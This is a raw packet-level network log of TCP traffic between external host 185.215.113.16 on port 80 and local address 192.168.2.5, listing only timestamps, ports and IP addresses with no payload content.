Nov 1, 2024 05:02:38.150249004 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.150310993 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.150341034 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.150357962 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.150369883 CET	59861	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:38.150386095 CET	59861	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:38.150414944 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.150444984 CET	59861	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:38.150455952 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.150455952 CET	59861	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:38.150494099 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.150521994 CET	59861	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:38.150572062 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.150595903 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.150597095 CET	59861	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:38.150623083 CET	59861	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:38.150675058 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.150691032 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.150707006 CET	59861	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:38.150815964 CET	59861	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:38.150867939 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.150882006 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.150948048 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.150974035 CET	59861	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:38.150995970 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.151020050 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.151051044 CET	59861	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:38.151070118 CET	59861	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:38.151088953 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.151638985 CET	59861	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:38.266633034 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.266649961 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.266664982 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.266717911 CET	59861	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:38.266721964 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.266740084 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.266750097 CET	59861	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:38.266756058 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.266830921 CET	59861	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:38.266886950 CET	59861	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:38.267235994 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.267273903 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.267290115 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.267299891 CET	59861	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:38.267337084 CET	59861	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:38.267390966 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.267406940 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.267421961 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.267446995 CET	59861	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:38.267617941 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.267627001 CET	59861	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:38.267633915 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.267657995 CET	59861	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:38.267657995 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.267746925 CET	59861	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:38.267877102 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.267930984 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.267946005 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.267970085 CET	59861	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:38.268162012 CET	59861	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:38.268223047 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.268290997 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.268304110 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.268316031 CET	59861	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:38.268347979 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.268363953 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.268374920 CET	59861	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:38.268378973 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.268402100 CET	59861	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:38.268549919 CET	59861	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:38.268596888 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.268610001 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.268635988 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.268718004 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.268733978 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.268749952 CET	59861	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:38.268789053 CET	59861	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:38.268789053 CET	59861	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:38.268790960 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.268826962 CET	59861	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:38.268939972 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.268985987 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.269000053 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.269049883 CET	59861	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:38.269049883 CET	59861	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:38.384697914 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.384717941 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.384736061 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.384763956 CET	59861	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:38.384768963 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.384784937 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.384793997 CET	59861	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:38.385068893 CET	59861	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:38.385351896 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.385418892 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.385436058 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.385438919 CET	59861	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:38.385482073 CET	59861	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:38.385482073 CET	59861	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:38.385499954 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.385518074 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.385565996 CET	59861	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:38.385576963 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.385674000 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.385694027 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.385700941 CET	59861	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:38.385704041 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.385729074 CET	59861	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:38.385750055 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.385766029 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.385777950 CET	59861	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:38.385818005 CET	59861	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:38.385845900 CET	59861	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:38.385982037 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.386053085 CET	59861	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:38.386056900 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.386073112 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.386116028 CET	59861	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:38.386116028 CET	59861	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:38.386159897 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.386174917 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.386202097 CET	59861	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:38.386248112 CET	59861	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:38.386280060 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.386348009 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.386354923 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.386375904 CET	59861	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:38.386416912 CET	59861	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:38.386431932 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.386447906 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.386578083 CET	59861	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:38.386605978 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.386665106 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.386679888 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.386688948 CET	59861	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:38.386761904 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.386778116 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.386787891 CET	59861	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:38.386857986 CET	59861	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:38.502614021 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.502648115 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.502665997 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.502681971 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.502697945 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.502715111 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.502923012 CET	59861	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:38.502923012 CET	59861	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:38.502948046 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.503031969 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.503047943 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.503062963 CET	59861	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:38.503066063 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.503092051 CET	59861	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:38.503114939 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.503144979 CET	59861	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:38.503154993 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.503169060 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.503221035 CET	59861	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:38.503221035 CET	59861	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:38.503252029 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.503268003 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.503339052 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.503388882 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.503405094 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.503417969 CET	59861	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:38.503468990 CET	59861	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:38.503468990 CET	59861	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:38.503745079 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.503829956 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.503843069 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.503882885 CET	59861	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:38.503896952 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.503904104 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.503910065 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.503922939 CET	59861	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:38.503968954 CET	59861	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:38.503968954 CET	59861	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:38.504055977 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.504115105 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.504129887 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.504153967 CET	59861	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:38.504237890 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.504265070 CET	59861	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:38.504292011 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.504307032 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.504328966 CET	59861	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:38.504447937 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.504475117 CET	59861	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:38.504493952 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.504511118 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.504538059 CET	59861	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:38.504669905 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.504684925 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.504695892 CET	59861	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:38.504700899 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.504726887 CET	59861	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:38.507080078 CET	59861	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:38.523938894 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.527084112 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:38.620106936 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.620150089 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.620172977 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.620188951 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.620253086 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.620296001 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.620311975 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.620352030 CET	59861	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:38.620352030 CET	59861	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:38.620352030 CET	59861	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:38.620593071 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.620618105 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.620630026 CET	59861	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:38.620630980 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.620640993 CET	59861	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:38.620668888 CET	59861	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:38.620676041 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.620687008 CET	59861	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:38.620713949 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.620753050 CET	59861	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:38.620805979 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.620820045 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.620842934 CET	59861	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:38.620855093 CET	59861	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:38.620898962 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.620913982 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.620937109 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.620953083 CET	59861	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:38.620974064 CET	59861	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:38.621006012 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.621037960 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.621045113 CET	59861	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:38.621073008 CET	59861	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:38.621141911 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.621156931 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.621171951 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.621181011 CET	59861	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:38.621190071 CET	59861	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:38.621208906 CET	59861	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:38.621510983 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.621526003 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.621541023 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.621555090 CET	59861	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:38.621566057 CET	59861	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:38.621584892 CET	59861	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:38.621602058 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.621619940 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.621634960 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.621638060 CET	59861	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:38.621650934 CET	59861	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:38.621670961 CET	59861	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:38.621789932 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.621836901 CET	59861	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:38.621839046 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.621856928 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.621876001 CET	59861	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:38.621884108 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.621897936 CET	59861	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:38.621922016 CET	59861	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:38.622047901 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.622072935 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.622088909 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.622092962 CET	59861	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:38.622112036 CET	59861	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:38.622121096 CET	59861	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:38.622200966 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.622311115 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.622323990 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.622350931 CET	59861	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:38.622359991 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.622366905 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.622368097 CET	59861	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:38.622397900 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.622400045 CET	59861	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:38.622571945 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.622586012 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.622616053 CET	59861	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:38.622632027 CET	59861	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:38.737958908 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.738018036 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.738029957 CET	59861	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:38.738034964 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.738082886 CET	59861	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:38.738333941 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.738367081 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.738382101 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.738408089 CET	59861	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:38.738435984 CET	59861	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:38.738473892 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.738487959 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.738511086 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.738516092 CET	59861	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:38.738527060 CET	59861	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:38.738540888 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.738549948 CET	59861	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:38.738609076 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.738645077 CET	59861	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:38.738677979 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.738698959 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.738708019 CET	59861	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:38.738729954 CET	59861	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:38.738781929 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.738815069 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.738830090 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.738863945 CET	59861	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:38.738888025 CET	59861	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:38.739207983 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.739252090 CET	59861	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:38.739295959 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.739317894 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.739335060 CET	59861	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:38.739362955 CET	59861	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:38.739367008 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.739382982 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.739408016 CET	59861	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:38.739417076 CET	59861	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:38.739489079 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.739504099 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.739528894 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.739543915 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.739546061 CET	59861	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:38.739559889 CET	59861	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:38.739584923 CET	59861	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:38.739588022 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.739603043 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.739628077 CET	59861	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:38.739636898 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.739640951 CET	59861	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:38.739671946 CET	59861	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:38.739706039 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.739721060 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.739742994 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.739758015 CET	59861	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:38.739782095 CET	59861	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:38.739815950 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.739875078 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.739913940 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.739921093 CET	59861	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:38.739953995 CET	59861	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:38.739991903 CET	80	59861	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.740008116 CET	80	59861	185.215.113.16	192.168.2.5
